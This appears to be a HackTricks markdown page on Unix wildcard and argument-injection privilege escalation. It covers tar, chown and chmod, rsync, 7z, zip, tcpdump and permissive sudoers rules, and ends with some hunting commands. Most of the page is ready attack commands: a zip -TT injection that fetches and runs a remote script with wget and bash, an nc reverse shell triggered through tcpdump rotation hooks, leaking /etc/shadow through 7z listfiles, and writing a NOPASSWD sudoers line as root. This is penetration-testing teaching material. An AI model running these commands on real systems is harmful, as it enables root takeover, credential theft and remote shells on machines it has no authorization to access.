wildcards-spare-tricks.md (16103B)
1 --- 2 title: "Wildcards Spare Tricks" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/interesting-files-permissions/wildcards-spare-tricks.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/interesting-files-permissions/wildcards-spare-tricks.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Wildcards Spare Tricks 14 15 > Wildcard (aka *glob*) **argument injection** happens when a privileged script runs a Unix binary such as `tar`, `chown`, `rsync`, `zip`, `7z`, … with an unquoted wildcard like `*`. 16 > Since the shell expands the wildcard **before** executing the binary, an attacker who can create files in the working directory can craft filenames that begin with `-` so they are interpreted as **options instead of data**, effectively smuggling arbitrary flags or even commands.<sup>[[6]](#references)</sup> 17 > This page collects the most useful primitives, recent research and modern detections for 2023-2025. 18 19 ## chown / chmod 20 21 You can **copy the owner/group or permission bits from a reference file** by abusing the `--reference` flag when an option-looking filename is expanded by a wildcard.<sup>[[6]](#references)[[8]](#references)[[9]](#references)</sup> 22 23 ```bash 24 # attacker-controlled directory 25 touch -- .drf.php 26 chmod 777 -- .drf.php 27 touch -- "--reference=.drf.php" # ← filename becomes an argument 28 ``` 29 30 When root later executes something like: 31 32 ```bash 33 chown -R alice:alice *.php 34 chmod -R 644 *.php 35 ``` 36 37 The expanded `--reference=.drf.php` overrides the explicit owner/mode, causing matching files to inherit metadata from `.drf.php` (and, with the setup above, making them writable by the attacker).<sup>[[6]](#references)</sup> 38 39 *PoC & tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (combined attack).<sup>[[7]](#references)</sup> 40 See also the classic DefenseCode paper for details.<sup>[[6]](#references)</sup> 41 42 --- 43 44 ## tar 45 46 ### GNU tar 47 48 Execute arbitrary commands by abusing GNU tar's **checkpoint** feature and checkpoint actions.<sup>[[10]](#references)</sup> 49 50 ```bash 51 # attacker-controlled directory 52 echo 'echo pwned > /tmp/pwn' > shell.sh 53 chmod +x shell.sh 54 touch -- "--checkpoint=1" 55 touch -- "--checkpoint-action=exec=sh shell.sh" 56 ``` 57 58 Once root runs e.g. `tar -czf /root/backup.tgz *`, `shell.sh` is executed as root.<sup>[[10]](#references)</sup> 59 60 ### bsdtar / macOS compressor override caveat 61 62 The default `tar` on recent macOS (based on `libarchive`) does *not* provide GNU tar's `--checkpoint` interface, but bsdtar documents **--use-compress-program** for selecting an external compressor.<sup>[[11]](#references)</sup> 63 64 ```bash 65 # macOS example 66 touch -- "--use-compress-program=sh" 67 ``` 68 When a privileged script runs `tar -cf backup.tar *`, this selects `sh` through the victim's `PATH` and bsdtar starts it as the compressor.<sup>[[11]](#references)</sup> This proves option injection but is not, by itself, a reliable arbitrary-command primitive: a wildcard-created filename cannot contain `/`, and bsdtar supplies archive data rather than an attacker-selected shell command. Code execution additionally requires a controllable executable resolved through `PATH` or another argument channel that can name a useful program. 69 70 --- 71 72 ## rsync 73 74 `rsync` lets you override the remote shell or the remote binary via command-line flags such as `-e` and `--rsync-path`.<sup>[[12]](#references)</sup> 75 76 ```bash 77 # attacker-controlled directory 78 touch -- "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh 79 ``` 80 81 If root later archives the directory with `rsync -az * backup:/srv/`, the injected flag can run a shell through the remote-shell mechanism.<sup>[[7]](#references)[[12]](#references)</sup> 82 83 *PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync` mode). 84 85 --- 86 87 ## 7-Zip / 7z / 7za 88 89 Even when the privileged script *defensively* prefixes the wildcard with `--` (to stop option parsing), the 7-Zip CLI accepts **file list files** by prefixing the filename with `@`. Combining that with a symlink lets you *exfiltrate arbitrary files*.<sup>[[13]](#references)</sup> 90 91 ```bash 92 # directory writable by low-priv user 93 cd /path/controlled 94 ln -s /etc/shadow root.txt # file we want to read 95 touch @root.txt # tells 7z to use root.txt as file list 96 ``` 97 98 If root executes something like: 99 100 ```bash 101 7za a /backup/`date +%F`.7z -t7z -snl -- * 102 ``` 103 104 7-Zip will attempt to read `root.txt` (→ `/etc/shadow`) as a file list and will bail out, **printing the contents to stderr**.<sup>[[13]](#references)</sup> 105 106 This survives `-- *` because the 7-Zip CLI explicitly accepts both regular filenames and `@listfiles` as positional inputs, so a literal filename such as `@root.txt` is still treated specially.<sup>[[13]](#references)</sup> 107 108 --- 109 110 ## zip 111 112 Two very practical primitives exist when an application passes user-controlled filenames to `zip` (either via a wildcard or by enumerating names without `--`).<sup>[[2]](#references)[[3]](#references)</sup> 113 114 - RCE via test hook: `-T` enables “test archive” and `-TT <cmd>` replaces the tester with an arbitrary program (long form: `--unzip-command <cmd>`). If you can inject filenames that start with `-`, split the flags across distinct filenames so short-options parsing works.<sup>[[2]](#references)[[3]](#references)</sup> 115 116 ```bash 117 # Attacker-controlled filenames (e.g., in an upload directory) 118 # 1) A file literally named: -T 119 # 2) A file named: -TT wget 10.10.14.17 -O s.sh; bash s.sh; echo x 120 # 3) Any benign file to include (e.g., data.pcap) 121 # When the privileged code runs: zip out.zip <files...> 122 # zip will execute: wget 10.10.14.17 -O s.sh; bash s.sh; echo x 123 ``` 124 125 Notes 126 - Do NOT try a single filename like `'-T -TT <cmd>'` — short options are parsed per character and it will fail. Use separate tokens as shown.<sup>[[3]](#references)</sup> 127 - If slashes are stripped from filenames by the app, fetch from a bare host/IP (default path `/index.html`) and save locally with `-O`, then execute.<sup>[[3]](#references)</sup> 128 - You can debug parsing with `-sc` (show processed argv) or `-h2` (more help) to understand how your tokens are consumed.<sup>[[3]](#references)</sup> 129 130 Example (local behavior on zip 3.0).<sup>[[3]](#references)</sup> 131 132 ```bash 133 zip test.zip -T '-TT wget 10.10.14.17/shell.sh' test.pcap # fails to parse 134 zip test.zip -T '-TT wget 10.10.14.17 -O s.sh; bash s.sh' test.pcap # runs wget + bash 135 ``` 136 137 - Data exfil/leak: If the web layer echoes `zip` stdout/stderr (common with naive wrappers), injected flags like `--help` or failures from bad options will surface in the HTTP response, confirming command-line injection and aiding payload tuning.<sup>[[3]](#references)</sup> 138 139 --- 140 141 ## Additional option-injection candidates 142 143 When a privileged wrapper expands a writable directory with a wildcard, these documented option hooks are worth checking.<sup>[[15]](#references)[[16]](#references)[[17]](#references)</sup> 144 145 | Binary | Flag to abuse | Effect | 146 | --- | --- | --- | 147 | `flock` | `-c <cmd>` | Pass a command string to a shell | 148 | `git` | `-c core.sshCommand=<cmd>` | Use `<cmd>` instead of SSH for Git fetch/push | 149 | `scp` | `-S <program>` | Use an alternate SSH-compatible connection program | 150 151 These primitives are useful checks beyond the *tar/rsync/zip* classics. 152 153 --- 154 155 ## Hunting vulnerable wrappers and jobs 156 157 Recent case studies and detection guidance show that wildcard/argv injection is no longer just a **cron + tar** problem.<sup>[[3]](#references)[[4]](#references)[[5]](#references)</sup> The same bug class keeps appearing in: 158 159 - web features that "download everything as zip/tar" from attacker-controlled upload directories 160 - vendor/appliance debug shells that expose a **tcpdump** wrapper with attacker-controlled filename/filter fields 161 - backup or rotation jobs that call `tar`, `rsync`, `7z`, `zip`, `chown`, or `chmod` on writable directories 162 163 Useful triage commands (the `pspy` invocation uses its documented process/file-event and interval flags).<sup>[[14]](#references)</sup> 164 165 ```bash 166 # Hunt for interesting binaries fed with globs or positional user data 167 rg -n --hidden --follow \ 168 '(tar|bsdtar|rsync|zip|7z|7za|chown|chmod|tcpdump).*(\*|\$@|\$\*)' \ 169 /etc /opt /usr/local /srv 2>/dev/null 170 171 # Watch real argv during cron/systemd execution 172 pspy64 -pf -i 1000 | rg 'tar|rsync|zip|7z|tcpdump|chown|chmod' 173 174 # Sudoers rules that constrain one argument but still allow extra flags 175 sudo -l 176 rg -n 'tcpdump|zip|tar|rsync' /etc/sudoers /etc/sudoers.d 2>/dev/null 177 ``` 178 179 Quick heuristics: 180 181 - `-- *` is a good fix for many GNU tools, but **not** for `7z`/`7za` because `@listfiles` are parsed separately.<sup>[[13]](#references)</sup> 182 - For `zip`, look for wrappers that enumerate user-controlled filenames directly; short-option splitting (`-T` + `-TT <cmd>`) still works even without a shell glob.<sup>[[2]](#references)[[3]](#references)</sup> 183 - For `tcpdump`, pay special attention to wrappers that let you control **output file names**, **rotation settings**, or **capture-file replay** arguments.<sup>[[18]](#references)</sup> 184 185 --- 186 187 ## tcpdump rotation hooks (-G/-W/-z): RCE via argv injection in wrappers 188 189 When a restricted shell or vendor wrapper builds a `tcpdump` command line by concatenating user-controlled fields (e.g., a "file name" parameter) without strict quoting/validation, you can smuggle extra `tcpdump` flags. The combo of `-G` (time-based rotation), `-W` (limit number of files), and `-z <cmd>` (post-rotate command) yields arbitrary command execution as the user running tcpdump (often root on appliances).<sup>[[1]](#references)[[4]](#references)[[18]](#references)</sup> 190 191 Preconditions: 192 193 - You can influence `argv` passed to `tcpdump` (e.g., via a wrapper like `/debug/tcpdump --filter=... --file-name=<HERE>`).<sup>[[4]](#references)[[18]](#references)</sup> 194 - The wrapper does not sanitize spaces or `-`-prefixed tokens in the file name field.<sup>[[4]](#references)</sup> 195 196 Classic PoC (executes a reverse shell script from a writable path).<sup>[[4]](#references)[[18]](#references)</sup> 197 198 ```bash 199 # Reverse shell payload saved on the device (e.g., USB, tmpfs) 200 cat > /mnt/disk1_1/rce.sh <<'EOF' 201 #!/bin/sh 202 rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f 203 EOF 204 chmod +x /mnt/disk1_1/rce.sh 205 206 # Inject additional tcpdump flags via the unsafe "file name" field 207 /debug/tcpdump --filter="udp port 1234" \ 208 --file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh" 209 210 # On the attacker host 211 nc -6 -lvnp 4444 & 212 # Then send any packet that matches the BPF to force a rotation 213 printf x | nc -u -6 [victim_ipv6] 1234 214 ``` 215 216 Details: 217 218 - `-G 1` rotates every second, and `-W 1` stops after one rotated file; the capture must receive a matching packet before rotation.<sup>[[18]](#references)</sup> 219 - `-z <cmd>` runs the post-rotate command once per rotation and passes the closed savefile path as an argument; ensure script/interpreter argument handling matches your payload.<sup>[[18]](#references)</sup> 220 221 No-removable-media variants: 222 223 - If you have any other primitive to write files (e.g., a separate command wrapper that allows output redirection), drop your script into a known path and trigger `-z /path/script.sh`; have the script invoke `/bin/sh` itself if needed.<sup>[[18]](#references)</sup> 224 - If a vendor wrapper lets you choose the rotated path, audit that path control only in combination with a post-rotate command that interprets its savefile argument; path control alone does not execute file contents.<sup>[[18]](#references)</sup> 225 226 --- 227 228 ## sudoers: tcpdump with wildcards/additional args → arbitrary write/read and root 229 230 Example sudoers anti-pattern:<sup>[[3]](#references)</sup> 231 232 ```text 233 (ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10 -w/var/cache/captures/*/<GUID-PATTERN> -F/var/cache/captures/filter.<GUID-PATTERN> 234 ``` 235 236 The rule leaves several options available under tcpdump's documented parser:<sup>[[3]](#references)[[18]](#references)</sup> 237 - The `*` glob and permissive patterns only constrain the first `-w` argument. `tcpdump` accepts multiple `-w` options; the last one wins.<sup>[[3]](#references)[[18]](#references)</sup> 238 - The rule doesn’t pin other options, so `-Z`, `-r`, `-V`, etc. are allowed.<sup>[[3]](#references)[[18]](#references)</sup> 239 240 The relevant primitives are documented below.<sup>[[3]](#references)[[18]](#references)</sup> 241 - Override destination path with a second `-w` (first only satisfies sudoers).<sup>[[3]](#references)[[18]](#references)</sup> 242 243 ```bash 244 sudo tcpdump -c10 -w/var/cache/captures/a/ \ 245 -w /dev/shm/out.pcap \ 246 -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa 247 ``` 248 249 - Path traversal inside the first `-w` to escape the constrained tree.<sup>[[3]](#references)</sup> 250 251 ```bash 252 sudo tcpdump -c10 \ 253 -w/var/cache/captures/a/../../../../dev/shm/out \ 254 -F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa 255 ``` 256 257 - Force output ownership with `-Z root` (creates root-owned files anywhere).<sup>[[3]](#references)[[18]](#references)</sup> 258 259 ```bash 260 sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root \ 261 -w /dev/shm/root-owned \ 262 -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa 263 ``` 264 265 - Arbitrary-content write by replaying a crafted PCAP via `-r` (e.g., to drop a sudoers line).<sup>[[3]](#references)[[18]](#references)</sup> 266 267 <details> 268 <summary>Create a PCAP that contains the exact ASCII payload and write it as root</summary> 269 270 ```bash 271 # On attacker box: craft a UDP packet stream that carries the target line 272 printf '\n\nfritz ALL=(ALL:ALL) NOPASSWD: ALL\n' > sudoers 273 sudo tcpdump -w sudoers.pcap -c10 -i lo -A udp port 9001 & 274 cat sudoers | nc -u 127.0.0.1 9001; kill %1 275 276 # On victim (sudoers rule allows tcpdump as above) 277 sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root \ 278 -r sudoers.pcap -w /etc/sudoers.d/1111-aaaa \ 279 -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa 280 ``` 281 282 </details> 283 284 - Arbitrary file read/secret leak with `-V <file>` (interprets a list of savefiles). Error diagnostics often echo lines, leaking content.<sup>[[3]](#references)[[18]](#references)</sup> 285 286 ```bash 287 sudo tcpdump -c10 -w/var/cache/captures/a/ -V /root/root.txt \ 288 -w /tmp/dummy \ 289 -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa 290 ``` 291 292 --- 293 294 ## References 295 296 - [1] [GTFOBins - tcpdump](https://gtfobins.github.io/gtfobins/tcpdump/) 297 - [2] [GTFOBins - zip](https://gtfobins.github.io/gtfobins/zip/) 298 - [3] [0xdf - HTB Dump: Zip arg injection to RCE + tcpdump sudo misconfig privesc](https://0xdf.gitlab.io/2025/11/04/htb-dump.html) 299 - [4] [FiberGateway GR241AG - Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/) 300 - [5] [Elastic - Potential Shell via Wildcard Injection Detected](https://www.elastic.co/guide/en/security/current/prebuilt-rule-8-19-20-potential-shell-via-wildcard-injection-detected.html) 301 - [6] [Back To The Future: Unix Wildcards Gone Wild (DefenseCode)](https://www.exploit-db.com/papers/33930) 302 - [7] [wildpwn](https://github.com/localh0t/wildpwn) 303 - [8] [GNU Coreutils `chown` invocation](https://www.gnu.org/software/coreutils/manual/html_node/chown-invocation.html) 304 - [9] [GNU Coreutils `chmod` invocation](https://www.gnu.org/software/coreutils/manual/html_node/chmod-invocation.html) 305 - [10] [GNU tar checkpoints](https://www.gnu.org/software/tar/manual/html_section/checkpoints.html) 306 - [11] [bsdtar(1) manual](https://man.freebsd.org/cgi/man.cgi?query=bsdtar&sektion=1) 307 - [12] [rsync(1) manual](https://download.samba.org/pub/rsync/rsync.1) 308 - [13] [7-Zip command line syntax](https://7-zip.opensource.jp/chm/cmdline/syntax.htm) 309 - [14] [pspy](https://github.com/DominicBreuker/pspy) 310 - [15] [flock(1) manual](https://kernel.googlesource.com/pub/scm/utils/util-linux/util-linux/+/refs/tags/v2.41.1/sys-utils/flock.1.adoc) 311 - [16] [Git configuration documentation](https://git-scm.com/docs/git-config) 312 - [17] [OpenBSD `scp` manual](https://man.openbsd.org/scp) 313 - [18] [tcpdump(8) manual](https://man7.org/linux/man-pages/man8/tcpdump.8.html)